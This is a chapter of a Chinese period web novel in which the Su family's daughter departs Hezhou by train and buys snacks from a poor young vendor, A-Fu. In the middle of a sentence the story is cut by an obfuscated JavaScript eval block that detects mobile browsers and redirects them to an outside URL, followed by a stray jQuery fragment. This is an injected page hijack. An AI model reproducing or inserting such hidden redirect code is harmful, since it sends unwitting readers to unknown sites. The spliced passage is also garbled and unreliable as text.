被他打中的夹袄们嘴角熟练的裂开了讨好的笑意,没人和巡警小赵理论,他们头也不回的继续往上冲。
终于,在不耐烦的吆喝声和沉闷的敲打声中,两股人群慢慢的交融了起来。
最后,要下车的人高举着行李箱,头发乱蓬蓬的喘着粗气双目无神地下来了。上车的人还要再爆发二次大战,才能找到一个用俭薄的木板达成的座位,更有些后来的倒霉蛋找不到座位,只能惊险的坐在火车车厢连接处。
但这些不体面显然不会发生在一、二等车厢的乘客身上,他们的车票与三等乘客不同,绝不超售,票面上都白纸黑字的写上了座位号。
实际上,高额的票价使二等车厢往往都空出一片,一等车厢更是只有零散几人。
站台再一次平静了下来,但火车却迟迟没有发车,随着时钟滴滴答答的走过,好不容易安坐的乘客们茫然四顾,心烦意乱,担忧是不是又出现了什么变故。
小商贩们却为这忽然增加的售货时间而极为欣喜,依旧阴阳顿挫、声嘶力竭的叫卖着。
“好晒”
太阳已经高高的挂在中天之上,温热的阳光撒在了苏令徽的身上,阿春撑起了一把小洋伞。
苏令徽揪了揪裙子,心烦意乱的看了看腕上的玫瑰金手表,上面的银色指针格格的走着。
郝先生和父亲的手还紧紧的握在一起。
她不动声色的左顾右盼着,看见几个听差将各色行李箱挤挤挨挨的塞到酒店门前一溜排开的三辆一九三零年的雪铁龙汽车里。
郝先生的这次送别让苏家又多了三箱行李,其中有一箱还是指明要送给苏令徽的。
终于,依依惜别的两人的手松开了,郝先生却又执意要送他们到火车站去。
苏大先生矜持的点了点头。
于是加上郝先生的汽车,这支送行的队伍越发庞大了起来。
汽车终于动了起来,苏令徽长出一口气,她坐在车厢里,好奇的透过车窗打量着合州的街道。
他们现在通过的街道看起来像是新修的,路边竖着锃亮的汽灯,路面也十分平整,没有其他路上的颠簸。
街边有赤脚的小孩子在蹲着玩弹壳,看见有成排的汽车过来,顿时高兴极了,跟着汽车后面奔跑着尖叫,相互攀比着看谁能碰到汽车的尾架。
苏令徽看他们跑的极快又跟得紧,身后还有好几辆车,便有些担心车轮卷住他们。她在学校经常听到老师说有乡下的孩子不知道汽车厉害,追赶时卷进了车轮里。
于是她从手包里找出一盒五颜六色的玻璃糖,隔着车窗远远的撒向路外。
“小孩,吃糖,吃糖”
她大声的喊着,不自觉的流露出了清甜的笑意。
七彩的玻璃糖纸在阳光下熠熠发光,孩子们顿时停住脚步,一窝蜂的拥了过去,没有人再追逐那冒着灰色烟气的大家伙。
苏大太太微笑的看着女儿。
苏大先生不以为然的闭上了眼睛,一旁的郝先生识趣的停下了喋喋不休的嘴巴。
等出了市区,路上就颠簸了起来,坑坑洼洼的,到处是低矮的平房,车速也降下去。
苏令徽被晃的有点恶心,连忙也学着父亲的样子闭目养神了起来。
汽车好不容易跑到了火车站,苏令徽兴冲冲的走了下来,活动了一下手脚。无奈的又看见车站里涌上来了一群人,挂着极热络的笑意,将他们迎了进去。
自从爸爸走马上任后,这种情况就越发普遍,苏令徽叹了口气,听着耳边那毫无意义的吹捧和寒暄,打起精神,露出乖巧的笑容。
火车的车窗里探出了无数个好奇的脑袋,惊讶的打量着这庞大的队伍,窃窃私语着。
等到送行队伍带着殷切的神情将苏家三人送进了火车里时,苏令徽低头一看,已经上午十点半了。
她快步跨过车门,看见了一等车厢里柔软的鹅绒沙发,便如释重负的将自己摔了进去,又褪下脚上的小皮鞋,踩在缎面拖鞋上,舒适的叹了口气。
这节一等座车厢早已被苏家包下,此时除了苏家一行人并无他人。
苏令徽将手包放在桌上,双手托腮,圆亮的杏眼兴致勃勃地打量着车厢里的环境。
这节长长的车厢地上铺着厚实的羊毛地毯,里面只有十二个座位,每个座位都是柔软的鹅绒沙发,缀着红色法兰绒衬布,旁边则放着一张实木小圆桌。
火车仍未启动,外面小商贩们的叫卖声还在坚持不懈的响着,只不过已经有气无力的。送行的人已经悄悄散去了,只剩下几个巡捕笔直的尽职尽责的站在周围。
“香喷喷的合州烧鸡,圆圆的甜果子嘞。”
听着外面独具特色的叫卖声,苏令徽心痒痒的,她抬眼看向妈妈,苏大太太正指挥着仆人们把行李放好,将路上要用的茶具等东西拆开。
苏大先生已将外面灰黑色的羊毛大衣脱下挂起,正低声和保镖高飞交待着什么。
见没人注意到自己,苏令徽眼睛一转,将身子从车窗探了出去,冲着最近的巡捕小赵笑道。
“你好,麻烦把那边的卖东西的人叫过来一个,我想买点东西。”
小商贩们被远远的隔在一等车厢的外面,小赵犹豫一下,伸手将一个同样高瘦的小商贩伸手唤了过来。
“阿福,阿福”
阿福很快就挎着个打着蓝黑色补丁的大篮子跑了过来,他是个十六、七岁的年轻人,手长脚长,细的像根竹竿,脸在阳光下晒得黑黢黢的。
看见苏令徽冲着他笑的一脸灿烂,受惊一样的低下了头,只是硬邦邦的将手中的篮子举得更高。
“阿福吗,这些都是什么啊”
苏令徽看着篮子里的各色吃食,也没有伸手拨弄,只是好奇地问道。
“好,好小姐”
阿福磕磕巴巴地说了一句,然后又流利了起来。
“有麻糖子、甜李子、桂花酥糖、下堂烧饼、逍遥鸡、烤鸭、火腿罐头……”
苏令徽果然听到了几样自己不曾吃过的新鲜玩意,顿时很是欣喜。
“那麻烦你把篮子里的东西都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323633|183207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捡一点吧”
她回身从手袋里取出了三块大洋,抬头示意阿福将手伸出来,轻轻的放在了他的手心里。
阿福不敢抬头看她,只是侧头诺诺的应是,待他看清手中的大洋时,顿时又结巴了起来。
“好小姐,太多了”他抬头惶恐的说道。
“没事,你看着捡一些吧。”
苏令徽看着阿福黑瘦的脸上满额头的汗,便不在意的挥了挥手。
可是这三块大洋能买上这三篮子了啊,如今一群人去城中最贵的大饭馆美美吃上一顿也不过二块大洋罢了,阿福苦恼极了。
旁边的小赵看着他那老实样子,恨铁不成钢,他笑着凑上前来。
“好小姐,篮子上面的那些人都翻遍了,不干净,我让他给您拿下面的,那些都是好货,让这小子捡整包的给您。”
听见了小赵的话,阿福顿时如梦初醒,他蹲下身去快手快脚地将里面卖相好的挑出来,用油纸整整齐齐的扎好。
他听见里面有严肃的声音不赞成的说道不干净,不让这位漂亮又大方的小姐买。
阿福攥紧了手中的大洋,手中的动作又快了几分,但下一刻好小姐清脆的声音像银铃一样响起。
“爸爸,我想看看合州的特色嘛。”
“您老是说,读万卷书,不如行万里路,我读了那么多的书,却还没走过多少路呢。”
“这也是一种风土人情嘛。”
他抬起头,隔着车窗感激的将篮子递了过去,里面整整齐齐的放着油纸扎好的各色东西。
苏令徽探头,发现阿福将剩下的东西都用油纸包好胡乱堆在地上,顿时有些不好意思。
“唉,你不方便拿吧,等下,我把篮子腾开还给你。”
阿福猛烈地摇了摇头,待苏令徽吃力的接过篮子后,便一溜烟的窜了出去。
“哎,哎”苏令徽小小的唤了两声,见阿福头也不回,只好把脑袋收了回来。
火车终于慢腾腾的启动了。苏大太太让阿春拿过几只精美的描金骨瓷碟,在篮子里捡了几样干净的果子,放在苏令徽旁的小圆桌上。
苏令徽将一只青果子捡起,塞入口中,顿时被酸的一激灵,挤眉弄眼的。
“总是乱花钱”
叶妈悄悄的瞪了她一眼,苏令徽偷笑着捻了一枚红果子塞进了她的嘴里。
叶妈也笑了。
“哥”
小赵目送着火车的离去,阿福磨磨蹭蹭的蹭了过来,不舍地将手心里的三枚大洋摊开。
小赵捡走了一枚大洋,放到嘴边用力一吹,锃亮的大洋顿时发出了“嗡”的一声清鸣。
“我看这一枚能换一百五六十个大子。”
小赵很有把握的说道,如今大洋质量参差不齐,有的含银量高的破开能换上一百六十个铜子,有的黑乎乎的杂质较多的大洋只能换上八九十个,因此学会辨别大洋的好坏可是如今人人必备的技能。
握紧手中剩余的两块大洋,阿福长出一口气,黑瘦的眉眼不自觉地带上了一抹笑意。